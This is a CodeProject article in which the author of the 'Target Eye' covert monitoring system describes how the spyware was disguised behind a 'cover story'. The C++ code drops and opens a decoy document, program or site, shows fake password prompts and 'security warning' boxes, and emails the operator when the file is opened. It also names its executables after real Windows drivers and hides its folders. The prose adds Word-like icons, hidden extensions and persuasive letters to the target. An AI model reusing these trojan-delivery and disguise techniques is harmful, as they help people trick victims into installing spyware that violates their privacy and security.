Click here to Skip to main content
1,837 members
Articles / Multimedia / C++
Article

Target Eye Revealed part 5 - The Cover Story

Rate me:
Please Sign up or sign in to vote.
5.00/5 (2 votes)
4 Oct 2013CPOL 15.6K   2  
Why the creation of a cover story a mandatory part of any covert monitoring product and how Target Eye handled it

Introduction

This article is the fifth article in a series about the Target Eye Monitoring System , developed in 2000, and since. The first article was about Target Eye's Auto Update mechanism, and how it is capable of checking for updates, downloading them when there are, installing them and running them instead of the old version currently running, all of the above, with no end-user intervention. The second article was about the Target Eye's screen capturing mechanism, and how compact JPG files are created combining a reasonable image quality and a small footprint. The third article was about the Shopping List mechanism. The forth article is about Keyboard capturing. This article deals with the packaging used to let our Secret Agent in. In other words, how Target Eye can be used to wrap it with what we refer to as "cover story". 

Why do we need a cover story 

Image 1 

When it comes to installing a covert monitoring system during an investigation or another operation, it is sometime required to make this installation look like something else. The article focuses in methods used by Target Eye Monitoring System in the past, mostly until 2005 as a "Cover Story" to transplant it in the target computer.   

The Flow 

Before we start, here is a screenshot of the Target Eye Compiler, along with the relevant options to our article.

Image 2  

The following options are marked:

1. It is possible to set the icon given to the Cover Story based Secret Agent to any chosen icon.

2. Run or open any given file, which will be embedded inside the Secret Agent's executable.

3. Display a customized dialog box or a Message Box

4. Set the file extension of the Secret Agent.

As explained in the first article in this series,  Target Eye Monitoring System, when Target Eye launches, there is a flow of possible scenarios and actions which distinguish between various actions and methods of operation.   

Covert Vs. Visible

When a cover story is used, we wish it to be visible to the end user each time he or she double click the compiled Secret Agent. For example, if a Police force has used the Compiler to embed a football presentation inside the Secret Agent, and sent the compiled agent to a drug dealer, making him believe that he received a football presentation as opposed to a monitoring software, they will need to be sure that each time he double clicks the file he received, it will look and feel like a football presentation.  

On the other hand, there is the covert operation which is well described in the first article, and consists of first, installing the Secret Agent, the first time it is ran, and running it each time Windows starts, afterward, and of course in addition, looking for updated versions in the server and if there are any, install them.

That creates a tree of several scenarios. Some of them involves with doing something but showing nothing (to the end user), i.e. installing or running the Secret Agent, and some of the involves with doing nothing and showing something, i.e running the cover story (football presentation, in our example) even when there is nothing else to do and actually no need to run Target Eye (as it is already running and installed, and yet, the end user double-clicked the presentation).

The indigents of a Cover Story

The Cover Story is defined in the Target Eye Compiler. It allows selecting one or more of the following attributes:  

  • Data File 
  • Software 
  • Web Site  
  • Custom dialog box 
  • Message Box 

Data File 

When a data file is selected, it will be opened each time the compiled Secret Agent is double clicked  using the default tool defined to open it. If it is a .docx file, it will be opened by running MS Word, and so on...   

Software  

When a software file is selected, it will be executed each time the compiled Secret Agent is double clicked.

Web Site

When a web address is specified, this address will be opened by the default browser.

The following sample illustrates these 3 options as they we implemented as part of the Target Eye source code:

// TE_LoadFileFromResource
// Was used by Target Eye Monitoring System (all versions until 2007) to run or open a 
// "Cover Story" file, web site or software
BOOL TE_LoadFileFromResource(CString Name,int ResourceID)
{
	BOOL result;
	char path[260];
	CString ShortName;
	if(Name.Left(4).CompareNoCase("http")==0)	// is the cover story a web address?
	{
		return(ShellExecute(NULL,"open",Name,NULL,NULL,SW_SHOW)?TRUE:FALSE);	// open it with the default web browser
	}
	ShortName=TEGetFileName(Name);
	// Now we get the current system directory
	try
	{
		const int BUFFER_SIZE = 260; 
		result=GetSystemDirectory(path, BUFFER_SIZE);
	}
	catch (CException* pEx)
	{
		TCHAR sz[1024];
		pEx->GetErrorMessage(sz, 1024);
		ConPrintf(hCon,"ER %s\n",sz);	// adding error to log file
		pEx->Delete();
	}
retry:;
	if (result)
	{
		ShortName=(CString)path+(CString)"\\" +(CString)ShortName;	// ShortName now have the full path of the file to be opened
		BinRes::ExtractBinResource( "BIN", ResourceID, ShortName.GetBuffer(0));	// We extact the contents of the file from a binary resource into the file
		if(ShellExecute(NULL, "OPEN", ShortName, NULL, NULL, SW_SHOWNORMAL))	// We open or run this file (open if it is a data file. Run if it is a program
		{
			// Success
			return(TRUE);
		}
		else
		{
			// Failure
			ConPrintf(hCon,"ER (ShellExecute) %s\n",ShortName);	// adding error to log file
			return(FALSE);
		}
	}	
	else
	{
		// In this special case we assume we don't have access to System directory so we try Program Files
		// That obviously won't work these days as Program Files requires the same elevated access rights as System directory...
		strcpy(path,LOCAL_FULLPATH("program files"));
		goto retry;
	}
}

Custom Dialog Box or a Message Box

Next comes the scenarios which involves displaying a message to the end user. Such message can be a standard Message Box, using MessageBox()  or a custom made Dialog box such as this one:

 Image 3

A letter with a convincing explanation why this document should be opened we sent separately. 

Image 4

After user double clicks the Cover Story based Secret Agent, the customized Dialog Box appears on his screen. The following image is a screenshot from the target computer:

Image 5 

The following segment taken from the Target Eye source code (2005 version) shows the flow of displaying / popping up a message / Dialog Box to the end user. 

// Check if the Compiled Secret Agent's settings
// require popping up a message
if(strcmp(PinkaOptions.MsgBox,""))  // option is set
{
    CPassword c;    // Special custom dialog box
    CString Line=PinkaOptions.MsgBox; // Message to be displayed
    int n;

    if((n=Line.Find("#",0))>0)   // Parse parameters used
    {
        CString Pwd=Line.Mid(n+1);  // Expected "password" the end user should enter
        c.m_LabelPwd=Line.Left(n);  // Label shown to the end user (like "Your Secret 8 Digits Key"...)
        c.m_Dummy="something";
        // Special case: this Secret Agent is supposed to be opened only by a predefined IP address
        if(strcmp(PinkaOptions.RequestIP,"")) c.m_OnlyUser=(CString)"To be openned only by user: "+PinkaOptions.RequestIP;
        c.DoModal();                // Diaplay the custom Dialog Box

        if(strcmp(PinkaOptions.RequestIP,""))   // Did we ask for a specific IP address?
        {
            CString Request;
            Request=PinkaOptions.RequestIP;
            if (Request.Find("@#0#",0))                 // we ask for an Email to be sent upon opening
            {
                if(strcmp(PinkaOptions.RequestIP,PinkaOptions.Email))
                {
                    // Send the email to the operator
                    BOOL result=TE_SendEmail("",PinkaOptions.RequestIP,PinkaOptions.Email,"A comfidential document (Word) from HyperSec",PinkaCover.HiddenName,"");

                    // Here is the actual "Cover Story" fake dialog box
                    MessageBox(NULL,"This document can only be openned by user: "+(CString)PinkaOptions.RequestIP,"This is a security warning",MB_ICONWARNING);
                    // Set the Secret Agent name
                    MySettings.ChangeAgentName(PinkaOptions.AgentName);(((CString)(PinkaOptions.AgentName)).Left(9)+"YYY");
                    // Used for setting a set of folders and places in the target PC where files with
                    // data collected will be stored before they are sent to the operator
                    BuildOtherPlaces();
                }
            }
            else    // we asked for a specific IP address
            {
                if(strcmp(PinkaOptions.RequestIP,PinkaOptions.IP))  // Compare the requested IP and the end user's IP
                {
                    MessageBox(NULL,"This document can only be openned by user: "+(CString)PinkaOptions.RequestIP,"This is a security warning",MB_ICONWARNING);
                    MySettings.ChangeAgentName(PinkaOptions.AgentName);(((CString)(PinkaOptions.AgentName)).Left(9)+"UUU");
                    BuildOtherPlaces();
                }
            }
        }
        else
        if(c.m_Pwd==Pwd)    // Did the end user hit the correct "password" given to him?
        {
            if(strcmp(PinkaOptions.FileToLoad,""))  // Are we instructed to load / run a file or a program?
            {
                // load / run the file / program
                TE_LoadFileFromResource(PinkaOptions.FileToLoad,111);
            }
        }
        else
        {
            // ERROR LOG ==========================================
            PinkaLog.LogError("Open by object","Wrong password was keyed in",0);
            // ERROR LOG ==========================================

            // This message is for the end user, when he enters the wrong password.
            MessageBox(NULL,"Error: Invalid password","HyperSec Password Protection System",MB_OK);

            MySettings.ChangeAgentName(PinkaOptions.AgentName);(((CString)(PinkaOptions.AgentName)).Left(9)+"ZZZ");
            BuildOtherPlaces();
        }
    }
    else
    {
        // We display a custom dialog box but wthout asking for a password from the end user
        // For example, the message shown could be:

        c.m_LabelPwd=PinkaOptions.MsgBox;   // Set the label shown
        // for example: "We are now openning a secured document"
        c.m_Dummy="";
        c.DoModal();                        // Displaying the custom Dialog Box

        if(strcmp(PinkaOptions.FileToLoad,"")) // Are we instructed to load / run a file or a program?
        {
            // load / run the file / program
            TE_LoadFileFromResource(PinkaOptions.FileToLoad,111);
        }
    }
}
else
{
    // No custom Dialog Box, just load or open a file / program as the Compiled Secret Agent is double clicked.
    if(strcmp(PinkaOptions.FileToLoad,"")) // Are we instructed to load / run a file or a program?
    {
        // load / run the file / program
        TE_LoadFileFromResource(PinkaOptions.FileToLoad,111);
    }
}   

Conditional Installation 

Target Eye Monitoring System allowed setting an email address or IP address of the chosen target, ensuring that in case it has arrived to anybody else, it will stop running and remove itself.

The criteria was a predefined IP address compared to the one detected during run-time, or the predefined email address compared to the default one, found in the Registry (and just to remind you, back then, there was no Gmail and in most cases, people used Outlook Express and their default email account was stored along with the user name and password in the Registry  

As seen in the source code above, there is a special setting for conditional installation:

PinkaOptions.RequestIP 

To simplify things, this attributes can hold either an IP address (i.e. 80.0.0.1) or an email address (i.e. someone@account.com). 

Target Eye checks this field if it is empty, if not, it checks if it contains valid data and determine if this data is an email address (in such case, it assumes the condition is to install the Secret Agent on a PC having this address) or an IP address (in such case, it assumes the condition is to install the Secret Agent on a PC having this IP address).  

Extracting the Cover Story from the Secret Agent 

This is the part where a cover story which is in the form of a resource, is extracted to then be executed or opened. The types of files (or cover stories) which require actual data to be embedded inside the Secret Agent are: 

  • Data File 
  • Program 
Messages or web sites are just named by their address or text.

So when it comes to being able to open a data file or run a program whenever the Cover Story file is double clicked, the file to be opened is encrypted and embedded inside the Secret Agent. During run-time, this part is extracted and converted into an independent file which just appears from no where at the end-user's PC.

The following chart illustrates the flow starting of the moment the Secret Agent's Cover Story file is being double clicked: 

Image 6 

 

Resource Extraction 

The TE_CoverStory class handles, among other things, with the extraction of the data from a resource into a file. Here is how that is done in the source code:    


C++
//
void TE_CoverStory::ExtractBinResource(LPCTSTR ResName, int nResourceId, LPCTSTR strOutputName)
{
	HGLOBAL hResourceLoaded; // handle to loaded resource
	HRSRC hRes; // handle/ptr. to res. info. 
	char *lpResLock; // pointer to resource data 
	DWORD dwSizeRes;
	// find location of the resource and get handle to it
	hRes = FindResource( NULL, MAKEINTRESOURCE(nResourceId), ResName);
	// loads the specified resource into global memory. 
	hResourceLoaded = LoadResource( NULL, hRes ); 
	// get a pointer to the loaded resource!
	lpResLock = (char*)LockResource( hResourceLoaded ); 
	// determine the size of the resource, so we know how much to write out to file! 
	dwSizeRes = SizeofResource( NULL, hRes );
  
	HANDLE file = CreateFile(strOutputName,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
	if(file!=INVALID_HANDLE_VALUE)
	{
		DWORD bytesWritten;
		WriteFile(file,(LPCVOID)lpResLock,dwSizeRes,&bytesWritten,NULL);
		CloseHandle(file);
	} 
 
}
 
//

 As a result, strOutputName will be created in the target computer so next thing we need to either open it or run it. I already explain in the previous block how files are opened and executed.

Running a program on target computer

When we extract a piece of software and are about to run it, we must ensure that this is a stand alone application, such as that doesn't require any external / additional files or DLLs.  That is doable today and was even more doable back then.  

ShellExecute() handles both.   

HINSTANCE ShellExecute(
<pre>  _In_opt_  HWND hwnd,
  _In_opt_  LPCTSTR lpOperation,
  _In_      LPCTSTR lpFile,
  _In_opt_  LPCTSTR lpParameters,
  _In_opt_  LPCTSTR lpDirectory,
  _In_      INT nShowCmd 
<span style="font-size: 9pt;">);</span>

Of course, what was ideal at 2003-2005 isn't ideal (and might not work) today, as there are better ways to do that (such as calling CreateProcess).   

How random file names are created

While Target Eye operates there are many occasions where files are created on the target computer, which is why Target Eye had a mechanism for creating random file names on the fly. This mechanism was used for data files and for program files.

The file extension is important to determine what will happen when the user double clicks a file (file.exe will be assumed to be a software while file.docx will invoke MS Word to open it). However, the files that are created on the spot and are not visible to the end user, can have any extension or no extension. In most cases they can still be executed or opened regardless of their extension.

Until 2005 all file names were constant but starting of the 2006 / 2007 versions, I have developed CreateRandomSystemFile() for that purpose. 

Parameters:  

Ending - the file requested extension (i.e. ".doc")

ID - a unique ID to be used later when referring to this file (it is important to maintain these files, and know when to delete them 

SaveLast - wasn't used in these versions of Target Eye 

Renew - if the ID exists, change the name of an existing file into another one. For example, if we use a certain random file to store program xxxx.exe, then we can occasionally change its name to a different one. 

CString CreateRandomSystemFile(LPTSTR Ending,LPTSTR ID,BOOL SaveLast,BOOL Renew)
{
	CString TargetFile="";
	CString TempFile="";
	unsigned int result;
	char path[320];
	unsigned short size=320;
	char OldData[256];
	ConPrintf("CreateRandomSystemFile(%s,%s ...\n",Ending,ID);
	// Check if there is already a filename saved
	RegistryDatabase rd;
	if(rd.GetData(ID,OldData))
	{
		if(Renew)
		{
			ConPrintf("Renew Option - Try to delete old file assigned to key '%s'\n",ID);
			if(DeleteFile(OldData))
			{
				ConPrintf("Deleted '%s'\n",OldData);
			}
			else
			{
				ConPrintf("Couldn't delete '%s'\n",OldData);
			}
		}
		else
		{
			ConPrintf("File already set to '%s'\n",OldData);
			return OldData;
		}
	}
	SHGetSpecialFolderPath(NULL,path,CSIDL_DESKTOPDIRECTORY,FALSE);
	int i,j;
	TargetFile=(char *)path;
	TargetFile+="\\";
	TargetFile+=TE_FOLDER;
	TargetFile+="\\";
	CreateDirectory(TargetFile,NULL);
	HideFile(TargetFile);
	Sleep(10);
 
	if(strcmp(ID,"IN")==NULL)
	{
		TargetFile+=GetFakeExeNameFromRandomDrivers();
	}
	else
	{
		srand((ULONG)(GetTickCount()));
		
		j=CREATE_RANDOM(6,6);
		for(i=0;i<j;i++)
		{
			TargetFile+=(unsigned char)CREATE_RANDOM('z'-'a','a');
		}
 
	#define TE_MARK (CString)"["+ID+(CString)"]"
	#ifdef TE_MARKFILES
		TargetFile+=TE_MARK;
	#endif
		if(strcmp(Ending,"")==0)
		{
			TargetFile+=".";
			for(i=0;i<3;i++)
			{
				TargetFile+=(unsigned char)CREATE_RANDOM('z'-'a','a');
			}
		}
		else
		if(Ending=="..") 
		{
			CreateDirectory(TargetFile,NULL);
			HideFile(TargetFile);
		}
		else
			TargetFile+=Ending;
	}
	rd.SaveData(ID,TargetFile.GetBuffer(0));
	ConPrintf("Added '%s' to key '%s'\n",ID,TargetFile);
	return(TargetFile);
}

All files created with this mechanism are kept in an internal database which is maintain throughout the entire life cycle of an installation. 

This function uses another function: 

GetFakeExeNameFromRandomDrivers() 

This function was added since 2008 and was used for picking up a name of an existing Windows driver and creating a file with a similar name.

It uses the file search mechanism described in my previous article about the Shopping List mechanism.

CString GetFakeExeNameFromRandomDrivers()
{
	char path[256],sss[256];
	BOOL result;
	int i;
	CString ResultString="";
	// get location of drivers i.e. windows/system32/drivers
	try
	{
		const int BUFFER_SIZE = 260; 
		result=GetSystemDirectory(path, BUFFER_SIZE);
	}
	catch (CException* pEx)
	{
		TCHAR sz[1024];
		pEx->GetErrorMessage(sz, 1024);
		pEx->Delete();
	}
	strcat(path,"\\drivers");
	// make a list of all "sys" files
	FindFileOptions_t opts;
    opts.excludeDir = "*emulation*";
    opts.excludeFile = "";
    opts.recursive = true;
    opts.returnFolders = false;
    opts.terminateValue = NULL;
	opts.days=-1;
    FindFile find(opts);
	find.search(TRUE,"*.sys",path);
    int nfiles = (int) find.filelist.size();
    __int64 size = find.listsize;
	for(i=0;i<(int) find.filelist.size();i++)
	{
		string fullname = FindFile::combinePath(find.filelist[i].path, find.filelist[i].fileinfo.cFileName);
		sprintf(sss,"%s",fullname.c_str());
		ConPrintf("RunQuery result %d %s\n",i,sss);
	}
	
	// choose one of them randomally
	srand((ULONG)(GetTickCount()));
	i=CREATE_RANDOM(find.filelist.size(),0);
	// change it to .exe
	ResultString=find.filelist[i].fileinfo.cFileName;
	ResultString=ResultString.Left(ResultString.GetLength()-3)+"exe";
	// return that name
	return(ResultString);
}

 

Using random numbers 

It is important to know that "random numbers" are in fact pseudo random numbers. 

The random number generator is initialized with a numeric value named "the Seed value".  Some people aren't aware that if you initialize the random number generator with the same number, you can count on getting the same sequence of numbers each time.  

To create a near to random sequence of random numbers, use: 

srand((ULONG)(GetTickCount()));  

It will initialize the generator based on the number of ticks since Windows has started.   

Limitations of the Target Eye Cover Story mechanism

Unlike today, where it is next to impossible to send, share or download executables,  back then, it was possible to attach program files in an email or provide a hyperlink to download them (which is still possible but will bring a huge warning to the end user). 

Even though exploits existed, Target Eye didn't use any exploit. Target Eye didn't have a mechanism to hide a Secret Agents  inside a file such as an image file (.jpg) or a document (.doc or .pdf). All Secret Agents, including the ones with a Cover Store, were in fact executables. 

Since most of the PC before Windows Vista was introduced had the option of hiding files extensions as the default setting, it was possible to create an executable with an icon that looks like a data file (such as a Word document) which was good enough to do the job. The Target Eye Compiler had the option of selecting the Secret Agent with a Cover Story's file extension, but that was used to name "executable extensions" such as .com, .bat, and .pif. Naming .jpg, .tif or .pdf would cause the Secret Agent not to run and instead to be opened as a data file by the default program defined for it. 

Here is how an Target Eye Secret Agent executable with a "MS Word" like icon looks like:

Image 7

Exploits are back doors, flaws, glitches or vulnerabilities inside the file format of files such as .pdf or .jpg which makes it possible to transplant an executable inside of them.  Modern monitoring and surveillance software products use such exploits to make it possible to run on current versions of Windows, which is why it is not practical to use today any of the older versions of Target Eye described in this series of articles.

 Michael Haephrati CodeProject MVP 2013  

 ©2000-2013 Michael Haephrati and Target Eye LTD<o:p>

All materials contained on this article are protected by International copyright law and may not be used, reproduced, distributed, transmitted, displayed, published or broadcast without the prior written permission given by Michael Haephrati and Target Eye LTD. You may not alter or remove any trademark, copyright or other notice from copies of the content. <o:p>

License

This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)


Written By
Michael Haephrati
United States United States
Michael Haephrati, born in 1964, an entrepreneur, inventor and a musician. Haephrati worked on many ventures starting from HarmonySoft, designing Rashumon, the first Graphical Multi-lingual word processor for Amiga computer.

Worked with Amdocs and managed several software projects, among them one for the Ministry of Tourism in New Zealand. During 1995-1996 he worked as a Contractor with Apple at Cupertino. After returning to Israel, worked as a Project Manager with Top Image Systems (mostly with JCC, Nicosia), and then at a research institute made the fist steps developing the credit scoring field in Israel. He founded Target Scoring and developed a credit scoring system named ThiS, based on geographical statistical data, participating VISA CAL, Isracard, Bank Leumi and Bank Discount (Target Scoring, being the VP Business Development of a large Israeli institute).
During 2000, he founded Target Eye, and developed the first remote PC surveillance and monitoring system, named Target Eye.

Other ventures included: Data Cleansing (as part of the DataTune system which was implemented in many organizations.


Also a Code Project Member since Sunday, March 16, 2003 (10 years, 5 months)
20 Sep 2013: Best C++ article of August 2013
25 Jan 2013: Code Project - Best C++ article of December 2012
31 Dec 2012: CodeProject MVP 2013

Comments and Discussions

 
-- There are no messages in this forum --